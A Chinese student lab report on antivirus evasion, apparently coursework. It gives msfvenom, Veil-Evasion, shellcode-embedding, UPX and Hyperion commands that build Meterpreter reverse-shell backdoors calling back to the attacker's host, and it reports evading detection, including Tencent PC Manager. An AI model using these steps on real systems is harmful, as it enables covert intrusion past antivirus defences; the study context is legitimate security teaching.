20184328yh《网络对抗技术》实验三:免杀原理与实践
《网络对抗技术》实验三:免杀原理与实践
20184328yh
- 基于特征码的检测
- 特征码就是一段或多段数据。如果一个可执行文件(其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
- 重要的就是,恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
- 优点:检测效率高、能精确检测恶意软件类型和具体名称。
- 缺点:滞后性,不能检测不在特征库和变形的恶意软件,需频繁更新特征库。
- 启发式恶意软件检测
- 根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 优点:可以检测0-day恶意软件;具有一定通用性
- 缺点:实时监控系统行为,开销稍多;没有基于特征码的精确度高
- 基于行为的恶意软件检测
- 基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
- 优点:可发现未知病毒、可相当准确地预报未知的多数病毒。
- 缺点:可能误报、不能识别病毒名称、实现时有一定难度。
- 对恶意软件做处理,使其不被杀毒软件所检测。免于被杀毒软件拦截,达到实现入侵的目的。
- 改变特征码(改变机器指令)
- 有EXE——加壳:压缩壳、加密壳
- 有shellcode(像Meterpreter)——用encode进行编码、基于playload重新编译生成可执行文件
- 有源代码——用其他语言进行重写再编译(veil-evasion)
- 改变通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 改变操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
-
非常规免杀方法:使用社工类攻击、纯手工打造一个恶意软件。
- 趁电脑拥有者不注意时安装恶意软件并且赋予权限,比如维修电脑时,电脑修理员就有可能(一般不会,需要甄别)进行恶意操作等等。
我觉得开启杀软能够在一定程度上防止某些恶意代码,但不可能是防止所有的恶意代码。毕竟总有更加高级更加强大的病毒出现,所以我们要提高在这方面的意识,经常更新杀软,才能用防御层出不穷的恶意代码。
留后门的思路是这样的:
- 写一个有漏洞的软件,开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。
- 通过meterpreter这种驻留内存的payload,AV软件很难检出。
- 这样的小漏洞程序大家也有做,自己攻击自己还是很容易的。
- 当然最好的方法,还是手工打造,自己从头编一个,没有通用工具的特征,AV软件也就杀不出来了。
- 从头打造当然是相当有难度的,但我们可以利用Metasploit已有的payload来半手工的打造,效果也不错
3.1正确使用msf编码器
3.1.1 免杀检测
- 在实验二中使用msf生成了后门程序,可以使用VirSCAN和Virus Total或这两个网站对生成的后门程序进行扫描,由于virSCAN这个网站处理结果要等好久,本次实验选择后者进行免杀验证
- 将实验2生成的后门程序分别上传至两个网站进行筛查,VirusTotal扫描后结果如下:70款杀软中53款报出了病毒,可知不加处理的后门程序能被大部分的杀软检测到
3.1.2正确使用msf编码器生成exe文件
- 编码后,理论上讲可以降低检出率,编码次数越多,越有可能无法被杀毒软件检测出来
- 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.184.131 LPORT=4328 -f exe > YU_MSF.exe
- 生成文件如下
- 将生成的文件放入virustotal网站进行扫描发现对于防止被检测没有明显的作用
3.1.3多次编码使用命令:-i设置迭代次数,-i 52代表进行52次迭代编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 52 -b '\x00' LHOST=192.168.184.131 LPORT=4311 -f exe > YH52.exe
- 在网站中扫描发现虽然被检测到的数量下降到48,但效果依然不佳,根本无法做到免杀
3.2 msfvenom生成如jar之类的其他文件
3.2.1msfvenom生成jar文件
- 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.184.131 LPORT=4328 x > 4328_backdoor_java.jar
- 生成文件如图所示
- 将jar文件上传至平台进行扫描,可以看出相比之前的两个方法,生成如jar这样的文件检测出的几率明显下降
3.2.2msfvenom生成php文件
- 生成php后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.184.131 LPORT=4328 x> 20184328_php_attackdoor.php
- 生成文件如图所示
- 将php文件上传至网页进行扫描,发现比jar文件被检测出的几率下降了一倍,更加不容易被检测
3.2.3生成Android后门程序
- 在Kali中生成apk文件(安装包形式)
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.184.131 lport=4328 x> YH_apk_backdoor.apk
- 生产文件如图所示
- 上传网站进行检测,发现效果没有php那么好,依然容易被一半的杀软检测出来
- 尝试以上几种方法之后,php效果最为显著
3.3使用veil-evasion生成后门程序及检测
- 在安装veil的过程中,由于经常出现依赖问题,我使用了veil的docker镜像(参考博文链接),这一部分在本文后的“实验中的问题与解决”中也有详细说明
- 具体步骤在此省略,可参见上述链接
- 安装完成后输入veil指令进入下面的界面
- 用 use evasion 命令进入Evil-Evasion
- 输入命令 use c/meterpreter/rev_tcp.py 进入配置界面
- 设置反弹连接IP,命令为:set LHOST 192.168.184.131(kail的ip)
- 设置端口,命令为:set LPORT 4328
set LHOST 192.168.184.131 set LPORT 4328
option
- 输入 generate 生成文件,我这里使用了go语言,接着输入你想要playload的名字:yh_4328
- 根据它的提示可以找到文件所在的位置,然后复制到主机上放到网站上进行检测
- 根据路径即可找到生成的程序/var/lib/veil/output/compiled/yh_4328.exe
- 结果如下,看来还是容易被检查出来
3.4注入Shellcode并执行(嵌入式Shellcode)
- 首先使用命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.184.131 LPORT=4328 -f c
- 用c语言生成一段shellcode;
- 创建一个文件20184328.c
- 然后用vim打开这个文件,将unsigned char buf[]赋值到其中:
- 使用命令 i686-w64-mingw32-g++ 20184328.c -o 20184328.exe 将c文件转为exe文件
- 放入网站进行检测
- 依然有近半数杀软可以将其检测出来
3.5后门程序加壳
- 专门实现这样功能的加壳程序如 MESS 、CRACKSTOP、HACKSTOP、TRAP、UPS 等等,加壳是对相应的资源进行压缩,压缩后仍可运行。加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。它可以用来保护版权,但同时许多病毒也利用它来作为原理。
3.5.1使用压缩壳(UPX)
- 使用命令 upx 20184328.exe -o 20184328_upxed.exe 给之前的20184328.exe加个壳得到20184328_upxed.exe
- 放入网站得如下结果,依然容易被发现
3.5.2加密壳Hyperion
- 直接把加压缩壳后的文件直接再加加密壳。
- 在这一步找不到Hyperion目录,解决方法见本文后的“实验中的问题以及解决方法”
- 将上一个生成的文件20184328_upxed.exe拷贝到 /root/hyperion/ 目录中
- 进入上述目录中
- 输入命令 wine hyperion.exe -v 20184328_upxed.exe 20184328_upxed_Hyperion.exe 进行加壳,注意在这里wine无法使用的话还得安装一下,由于安装时输入了一条命令导致虚拟机无法登陆,在这里我重装了最新的kali,也比较耗时,解决方法见本文后的“实验中的问题以及解决方法”
- 得到文件如下
- 放入网站检测
3.6其他课堂未介绍的方法
- 输入veil之后再输入 use evasion 进入免杀平台
- 输入 list 可以查看可用的payloads
- 在这用一个不一样的payload,用Python,也就是上图的28号
- 输入 use python/meterpreter/rev_tcp.py 进入配置页面,可以看到现在options还是默认值,因此要设置某些options
- 输入set LHOST 192.168.184.131和set LPORT 4328,分别设置反弹连接的IP地址和端口号。可以输入options查看设置后的结果
- 输入 generate 生成文件,根据提示输入文件名: 4328_yh_3.6
- 生成文件时,选的是 2 Py2Exe ,然后可以看到文件存在的目录
- 将runme.bat文件复制到Windows中,并用Virustotal识别,检出率是0/58,很成功
3.7通过组合应用各种技术实现恶意代码免杀
方法一:
- 在3.6中可以看到veil生成后门文件,使用Python语言就是能实现免杀功能,甚至检出率为0
- 在刚刚runme.bat文件的基础上加压缩壳和加密壳,来实现免杀,这里改一下runme的名字作为标识
- 电脑环境:Windows10
- 杀毒软件:腾讯电脑管家
- 杀软版本:13.10.21914.214
- 查杀时间:2021.03.30
方法二:
- 先用msfvenom生成shellcode,再使用压缩壳和加密壳进行加壳
3.8附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
为了和另一台电脑ping童,进行如下操作,kali端的ip地址会改变:
免杀方法:先用msfvenom生成shellcode,再使用压缩壳和加密壳进行加壳。
对方电脑为win10,杀毒软件为腾讯电脑管家,可实现免杀
- 在安装veil时,安装会出现各种依赖问题,依赖包也会出现各种问题,根本就安装不完,无论是快速安装还是常规手动安装都不能解决。所以使用Docker镜像会给自己带来很多方便
- 依次输入以下代码
-
apt install docker apt install docker-compose
- 添加docker加速镜像地址
-
vi /etc/docker/daemon.json //在vim编辑器里面添加以下代码 { "registry-mirrors": [ "https://1nj0zren.mirror.aliyuncs.com", "https://docker.mirrors.ustc.edu.cn", "http://f1361db2.m.daocloud.io", "https://registry.docker-cn.com" ]
} -
systemctl daemon-reload systemctl restart docker docker pull mattiasohlsson/veil docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil
- 安装完成后Docker ps查看镜像,使用veil命令即可使用
- 在这一步找不到Hyperion目录,要进行手动添加,找方法废了很大的功夫
- 首先安装apt-get install mingw-w64
- 再获取一个zip文件,使用命令wget https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-2.2.zip
- 解压缩:unzip Hyperion-2.2.zip
- 用命令 vim Hyperion-2.2/Makefile 用vim编辑器打开
- 将Makefile中的第一句修改为CC =i686-w64-mingw32-gcc
- 在当前目录使用make指令即可,查看目录Hyperion.exe已经出现可以使用
- 再用make在压缩包目录下做如下操作
- 完成后能就看到hyperion.exe文件了
之前安装veil的时候就是因为依赖wine,所以选择了用镜像,没想到到加密壳这一部分还是逃不掉,结果在安装的过程中输入一句指令导致我的kali虚拟机里面的python3文件全被删除了,原来的linux虚拟机都登录不了,又重新装了一个kali2021.1的版本从头再来,其实在安装的时候只要发现有依赖,就把所依赖的东西全下下来就好了,最后再下载wine apt install wine 就可以了,当然,解决依赖后还会遇到以下奇奇怪怪的问题,用 sudo apt --fix-broken install 进行自我修复即可,再次安装就成功了。
正在从软件包中解出模板:100% dpkg: 警告: 无法找到软件包 libgstreamer0.10-0:amd64 的文件列表,现假定目前该软件包没有任何文件被安装在系统里。 dpkg: 警告: 无法找到软件包 libgstreamer-plugins-base0.10-0:amd64 的文件列表,现假定目前该软件包没有任何文件被安装在系统里。 dpkg: 警告: 无法找到软件包 libmount1:i386 的文件列表,现假定目前该软件包没有任何文件被安装在系统里。 (正在读取数据库 ... 系统当前共安装有 272245 个文件和目录。) 准备解压 .../000-wine1.6-amd64_1%3a1.6.2-0ubuntu4_amd64.deb ... 正在解压 wine1.6-amd64 (1:1.6.2-0ubuntu4) ... dpkg: 处理归档 /tmp/apt-dpkg-install-mZAtvI/000-wine1.6-amd64_1%3a1.6.2-0ubuntu4_amd64.deb (--unpack)时出错: 正试图覆盖 /usr/lib/x86_64-linux-gnu/wine/winepulse.drv.so,它同时被包含于软件包 libwine:amd64 5.0.3-3 dpkg-deb: 错误: 粘贴 子进程被信号(断开的管道) 终止
此次实验的过程相比之前复杂了很多,花的时间也长了很多,倒不是说原理多么难以搞懂原理,而是安装各种实验用到的工具比较麻烦,而且容易失败,在安装veil、wine、Hyperion的时花费了很多的精力和时间,所以说考验的是谁有不断尝试去解决问题的的精神,本次实验是在上次后门实验的基础上的进阶,需要我们熟练掌握和运用后门技术,在实验过程中,我了解了免杀的概念、免杀的基本方法,能够有条理、有目的的对后门动手实现一些免杀的处理,虽然现在做实验大多还是跟着老师的步骤按部就班的走,但是通过理解掌握这些步骤,让我对后门及免杀有了更深的了解,在实验过程中,生成的一些后门程序有的并没有被本机的杀软检测出来,这使我认识到,杀软没有被检测出来,并不代表完全安全,在以后上网的过程中还需谨慎小心,提高安全意识,要在官方正规网站下载程序,降低被植入后门的可能性。